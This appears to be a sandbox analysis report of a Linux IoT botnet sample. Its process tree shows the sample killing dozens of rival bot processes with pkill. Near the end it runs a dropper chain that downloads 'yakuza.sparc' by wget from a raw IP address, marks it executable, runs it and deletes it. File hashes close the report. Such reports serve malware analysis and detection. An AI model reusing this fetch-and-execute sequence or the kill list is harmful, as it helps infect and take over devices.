/bin/sh/bin/sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1266 -
/usr/bin/pkillpkill -9 OaF34⤵PID:1267
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1268
-
-
-
/bin/sh/bin/sh -c "pkill -9 geae || busybox pkill -9 geae"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1278 -
/usr/bin/pkillpkill -9 geae4⤵
- Reads CPU attributes
PID:1279
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1280
-
-
-
/bin/sh/bin/sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1290
-
/usr/bin/pkillpkill -9 vaiolmao4⤵PID:1291
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1292
-
-
-
/bin/sh/bin/sh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1302 -
/usr/bin/pkillpkill -9 123123a4⤵
- Reads runtime system information
PID:1303
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1304
-
-
-
/bin/sh/bin/sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1314
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵PID:1315
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1316
-
-
-
/bin/sh/bin/sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1326
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1327
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1329
-
-
-
/bin/sh/bin/sh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1340
-
/usr/bin/pkillpkill -9 wasads4⤵PID:1341
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1342
-
-
-
/bin/sh/bin/sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1352 -
/usr/bin/pkillpkill -9 1293194hjXD4⤵
- Reads CPU attributes
PID:1353
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1354
-
-
-
/bin/sh/bin/sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1364 -
/usr/bin/pkillpkill -9 OthLaLosn4⤵PID:1365
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1366
-
-
-
/bin/sh/bin/sh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1376
-
/usr/bin/pkillpkill -9 ggt4⤵PID:1377
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1378
-
-
-
/bin/sh/bin/sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1388 -
/usr/bin/pkillpkill -9 wget-log4⤵PID:1389
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1390
-
-
-
/bin/sh/bin/sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1400 -
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵PID:1401
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1402
-
-
-
/bin/sh/bin/sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1412
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵
- Reads runtime system information
PID:1413
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1414
-
-
-
/bin/sh/bin/sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1424
-
/usr/bin/pkillpkill -9 ggtq4⤵PID:1425
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1426
-
-
-
/bin/sh/bin/sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1436
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵
- Reads CPU attributes
PID:1437
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:1438
-
-
-
/bin/sh/bin/sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:1450
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵PID:1451
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:1452
-
-
-
/bin/sh/bin/sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1462 -
/usr/bin/pkillpkill -9 ggtr4⤵
- Reads CPU attributes
- Reads runtime system information
PID:1463
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:1464
-
-
-
/bin/sh/bin/sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1474 -
/usr/bin/pkillpkill -9 14Fa4⤵PID:1475
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:1476
-
-
-
/bin/sh/bin/sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:1486
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵PID:1487
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:1488
-
-
-
/bin/sh/bin/sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1498 -
/usr/bin/pkillpkill -9 ggtt4⤵PID:1499
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:1500
-
-
-
/bin/sh/bin/sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:1510
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵PID:1511
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:1512
-
-
-
/bin/sh/bin/sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1522
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:1523
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1524
-
-
-
/bin/sh/bin/sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1534 -
/usr/bin/pkillpkill -9 haetrghbr4⤵
- Reads runtime system information
PID:1535
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:1536
-
-
-
/bin/sh/bin/sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:1546
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:1547
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:1548
-
-
-
/bin/sh/bin/sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1558 -
/usr/bin/pkillpkill -9 SORAojkf1204⤵
- Reads CPU attributes
PID:1560
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:1561
-
-
-
/bin/sh/bin/sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1572 -
/usr/bin/pkillpkill -9 hehahejeje924⤵PID:1573
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:1574
-
-
-
/bin/sh/bin/sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:1584
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵PID:1585
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:1586
-
-
-
/bin/sh/bin/sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:1595
-
/usr/bin/pkillpkill -9 SlaVLav124⤵PID:1597
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:1598
-
-
-
/bin/sh/bin/sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1608 -
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:1609
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:1610
-
-
-
/bin/sh/bin/sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:1620
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵
- Reads CPU attributes
PID:1621
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:1624
-
-
-
/bin/sh/bin/sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:1632
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵PID:1633
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:1637
-
-
-
/bin/sh/bin/sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1645 -
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵PID:1647
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:1650
-
-
-
/bin/sh/bin/sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1659 -
/usr/bin/pkillpkill -9 5Gbf4⤵PID:1660
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:1662
-
-
-
/bin/sh/bin/sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1672 -
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵
- Reads CPU attributes
PID:1674
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:1678
-
-
-
/bin/sh/bin/sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1685 -
/usr/bin/pkillpkill -9 iaGv4⤵PID:1686
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:1690
-
-
-
/bin/sh/bin/sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1697 -
/usr/bin/pkillpkill -9 5aA34⤵PID:1698
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:1702
-
-
-
/bin/sh/bin/sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1709 -
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵
- Reads CPU attributes
PID:1710
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:1715
-
-
-
/bin/sh/bin/sh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1721 -
/usr/bin/pkillpkill -9 insomni4⤵
- Reads CPU attributes
PID:1722
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:1726
-
-
-
/bin/sh/bin/sh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:1734
-
/usr/bin/pkillpkill -9 6402774⤵PID:1735
-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:1739
-
-
-
/bin/sh/bin/sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:1746
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵
- Reads CPU attributes
PID:1747
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:1748
-
-
-
/bin/sh/bin/sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- Command and Scripting Interpreter: Unix Shell
- System Network Configuration Discovery
PID:1759 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1760
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1762
-
-
-
/bin/sh/bin/sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵
- Command and Scripting Interpreter: Unix Shell
PID:1772 -
/usr/bin/pkillpkill -9 66tlGg9Q4⤵
- Reads runtime system information
PID:1773
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:1774
-
-
-
/bin/sh/bin/sh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:1783
-
/usr/bin/pkillpkill -9 T4⤵PID:1784
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:1786
-
-
-
/bin/sh/bin/sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:1795
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵
- Reads CPU attributes
- Reads runtime system information
PID:1796
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:1798
-
-
-
/bin/sh/bin/sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:1808
-
/usr/bin/pkillpkill -9 6ke34⤵PID:1809
-
-
-
-
/bin/rmrm -rf yakuza.arm72⤵PID:801
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.sparc2⤵
- Writes file to tmp directory
PID:806
-
-
/bin/chmodchmod +x yakuza.sparc2⤵
- File and Directory Permissions Modification
PID:814
-
-
/tmp/yakuza.sparc./yakuza.sparc2⤵PID:815
-
-
/bin/rmrm -rf yakuza.sparc2⤵PID:817
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
183KB
MD56b663dec7156331eee76ef1728d52b73
SHA150713911df22fd9f90a3175accf83f9ec7d5b486
SHA256d8eeeeaf346781bc005b5bd15fc2fe90e183cbc57ebeef44d4c266b3b099b71d
SHA512b647d10b39119dec04e757f8386f3cf808a0b6ffcb27b592145f328e213e270dd8977f323f267849a70f6be6a7bee51ec2e918ddfcf01fcaa0a1eb6596793013